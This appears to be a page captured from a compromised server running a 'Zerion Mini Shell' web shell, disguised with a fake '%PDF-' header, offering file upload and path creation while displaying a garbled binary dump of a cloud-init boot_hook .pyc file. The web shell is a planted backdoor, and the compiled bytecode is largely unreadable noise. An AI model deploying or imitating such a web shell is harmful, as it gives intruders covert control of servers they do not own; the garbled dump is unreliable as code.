%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/handlers/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/handlers/__pycache__/boot_hook.cpython-312.pyc

�

�f����ddlZddlZddlmZmZmZddlmZeje	�Z
Gd�dej�Zy)�N)�handlers�subp�util)�
PER_ALWAYSc�$�eZdZdgZd�Zd�Zd�Zy)�BootHookPartHandlerz#cloud-boothookc��tjj|t�|j	d�|_d|_|r|j�|_yy)N�	boothooks)r�Handler�__init__r�	get_ipath�boothook_dir�instance_id�get_instance_id)�self�paths�
datasource�_kwargss    �>/usr/lib/python3/dist-packages/cloudinit/handlers/boot_hook.pyrzBootHookPartHandler.__init__sJ�����!�!�$�
�3�!�O�O�K�8�������)�9�9�;�D���c�<�tj|�}tjj	|j
|�}tjtj|�|jd��}tj||j�d�|S)Nr)�prefixi�)r�clean_filename�os�path�joinr�strip_prefix_suffix�dos2unix�prefixes�
write_file�lstrip)r�payload�filename�filepath�contentss     r�_write_partzBootHookPartHandler._write_part sq���&�&�x�0���7�7�<�<�� 1� 1�8�<���+�+��M�M�'�"�4�=�=��+;�
��	
����(�/�/�"3�U�;��rc��|tjvry|j||�}	|jrdt	|j�ini}t
j
d�tj|g|d��y#tj$rtjt
d|�Yyt$rtjt
d|�YywxYw)N�INSTANCE_IDzExecuting boothookF)�
update_env�capturez#Boothooks script %s execution errorz'Boothooks unknown error when running %s)r�CONTENT_SIGNALSr&r�str�LOG�debugr�ProcessExecutionErrorr�logexc�	Exception)r�data�ctyper#r"�	frequencyr$�envs        r�handle_partzBootHookPartHandler.handle_part)s����H�,�,�,���#�#�G�X�6��
	��#�#���D�$4�$4� 5�6��
�

�I�I�*�+��I�I�x�j�S�%�@���)�)�	N��K�K��B�H�M��	��K�K��>��
�	�s�AA;�;.C�+#C�CN)�__name__�
__module__�__qualname__rrr&r6�rrrrs��"�"�H�<��rr)
�loggingr�	cloudinitrrr�cloudinit.settingsr�	getLoggerr7r-rrr:rr�<module>r?s:���	�*�*�)��g����!��'�(�*�*�'r

Zerion Mini Shell 1.0